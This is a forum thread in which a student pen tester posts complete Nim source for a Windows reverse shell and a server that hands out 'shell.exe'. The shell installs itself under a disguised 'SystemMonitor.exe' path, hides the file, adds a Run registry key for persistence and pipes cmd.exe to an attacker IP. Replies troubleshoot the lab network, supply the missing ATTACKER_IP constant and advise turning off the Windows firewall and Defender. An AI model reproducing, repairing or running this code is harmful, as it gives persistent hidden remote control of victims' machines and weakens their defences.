Reverse Shell Not Working on VM

I’m a college student trying to become a pen tester.

I’m testing my reverse shell on VM written in Nim since it’s beginner friendly unlike C++ especially if you don’t have programming experience. If you know C++ I’m sure Nim is literally nothing.

My RS and Http server are written in Nim. The server is running without any issue. I also opened netcat (NC) and typed “nc -lvnp 4444.” But when clicked on the RS (compiled as .exe) in my VM nothing happens on my panels both HTTP server and NC. I entered my private IP in the RS code.

Can anyone help me why the RS is not working? Maybe it’s an issue with my code? Here is my RS and Http code:


import osproc, net, os, streams, winim/lean, strutils


proc getPersistencePath(): string =
    let appData = getEnv("APPDATA")
    let targetDir = appData & "\\Microsoft\\Windows\\Security\\"
    let targetPath = targetDir & "SystemMonitor.exe"
    
    if not dirExists(targetDir):
        createDir(targetDir)
    
    return targetPath

proc installPersistence(): bool =
    let persistencePath = getPersistencePath()
    let currentExe = getAppFilename()
    
    # Copy ourselves to the permanent location
    try:
        copyFile(currentExe, persistencePath)
        
        # Line 57 area - Hide file attributes
        SetFileAttributesW(
            persistencePath,
            FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM
        )
    except:
        return false
    
    # Add registry key
    var hKey: HKEY
    let regPath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
    
    let status = RegOpenKeyExW(
        HKEY_CURRENT_USER,
        regPath,
        0,
        KEY_SET_VALUE,
        addr hKey
    )
    
    if status != ERROR_SUCCESS:
        return false
    
    # Line 75 area - Registry value
    let valueName = "WindowsSystemMonitor"
    let valueData = persistencePath
    
    let setStatus = RegSetValueExW(
        hKey,
        valueName,
        0,
        REG_SZ,
        cast[ptr BYTE](valueData.cstring),
        DWORD((valueData.len + 1) * 2)
    )
    
    RegCloseKey(hKey)
    return setStatus == ERROR_SUCCESS

proc checkIfPersistent(): bool =
    let currentExe = getAppFilename()
    let persistencePath = getPersistencePath()
    return currentExe.toLowerAscii() == persistencePath.toLowerAscii()

proc reverseShell(): void =
    let socket = newSocket()
    
    try:
        socket.connect(ip, Port(port))
    except:
        return

    let process = startProcess(
        "cmd.exe",
        options = {poUsePath, poDaemon, poStdErrToStdOut}
    )

    # Lines 103/107 area - Get streams once
    let inputStream = process.inputStream()
    let outputStream = process.outputStream()
    
    while true:
        try:
            let available = socket.recvLine()
            if available == "":
                break

            # Write command
            inputStream.write(available & "\r\n")
            inputStream.flush()

            # Read output
            var result: string
            while outputStream.readLine(result):
                socket.send(result & "\r\n")

        except:
            break

    socket.close()
    process.close()

proc main(): void =
    if not checkIfPersistent():
        echo "[*] First run detected. Installing persistence..."
        if installPersistence():
            echo "[+] Persistence installed successfully!"
        else:
            echo "[-] Failed to install persistence."
    
    reverseShell()

when isMainModule:
    main()

import asynchttpserver, asyncdispatch, os

# === CONFIGURATION ===
let port = 8000
# ======================

proc serveFile(req: Request) {.async.} =
    ## Serves the shell.exe file for download
    
    # Get the current directory where the server is running
    let currentDir = getCurrentDir()
    let filePath = currentDir / "shell.exe"
    
    # Check if the requested file is our shell.exe
    if req.url.path == "/shell.exe":
        if fileExists(filePath):
            # Read the file
            let fileContent = readFile(filePath)
            
            # Send HTTP response with proper headers for download
            await req.respond(
                Http200,
                fileContent,
                newHttpHeaders([
                    ("Content-Type", "application/octet-stream"),
                    ("Content-Disposition", "attachment; filename=\"shell.exe\""),
                    ("Content-Length", $fileContent.len)
                ])
            )
            echo "[*] Shell delivered to: ", req.hostname
        else:
            # File not found
            await req.respond(Http404, "404 - File Not Found", 
                newHttpHeaders([("Content-Type", "text/plain")]))
            echo "[-] Request failed - shell.exe not found"
    else:
        # Any other request
        await req.respond(Http200, "Server is running. Request /shell.exe to download.",
            newHttpHeaders([("Content-Type", "text/plain")]))

proc main() {.async.} =
    var server = newAsyncHttpServer()
    
    echo "[*] Starting Nim HTTP server on port ", port
    echo "[*] Serving shell.exe from: ", getCurrentDir()
    echo "[*] Download URL: http://YOUR_IP:", port, "/shell.exe"
    echo "[*] Press Ctrl+C to stop"
    
    # Start the server
    asyncCheck server.serve(Port(port), serveFile)
    
    # Keep the server running
    while true:
        await sleepAsync(1000)

when isMainModule:
    waitFor main()

Hi dude !

Did you check if the VM and your Attacker host can reach each other on the network ?

You can try using ping

Hi! I tried ping from Kali and VM but none of them worked. So I disabled the firewall from kali but still doesn’t work. I’ve been trying to figure out but none of the method worked. Any ways to allow communication between my PC and VM?

If you are using VirtualBox you can make the network adapter in “bridged” mode on both machines, that will give them both an IP on the same net.

Figure 1 : VirtualBox “Network” settings for a machine

(this is not exclusive to VBox)

Sorry I wasn’t clear. The VM OS I’m targeting is Windows 10.

I tried to ping from physical Kali to a VM Kali which worked fine.
I also have a separate dual boot PC Windows 10 (W10) & Ubuntu (Connected to a different AP) and tried to ping W10 from my Kali but it keep saying:

“icmp_seq=67 Destination Port Unreachable
ping: sendmsg: Operation not permitted”

In contrary, I pinged Ubuntu and it worked.

On Windows 10, I disabled firewall which stays stuck on PING 192.168.X.X (192.168.X.X) 56(84) bytes of data.

I changed W10 VM setting like in your screenshot but nothing changes.

Maybe there is a security feature(s) I’m unaware of?

First ,
do “sudo ping 192.168.x.x” < ping: sendmsg: Operation not permitted”
second did you gave the full script for revershell ? where is the =
const ip = “ATTACKER_IP”
const port = 4444

Second,
on windows do this : netsh advfirewall set allprofiles state off

Lastly disable windows Defender < Registry Run key + hidden file + reverse shell
= textbook malware pattern

let me know the results.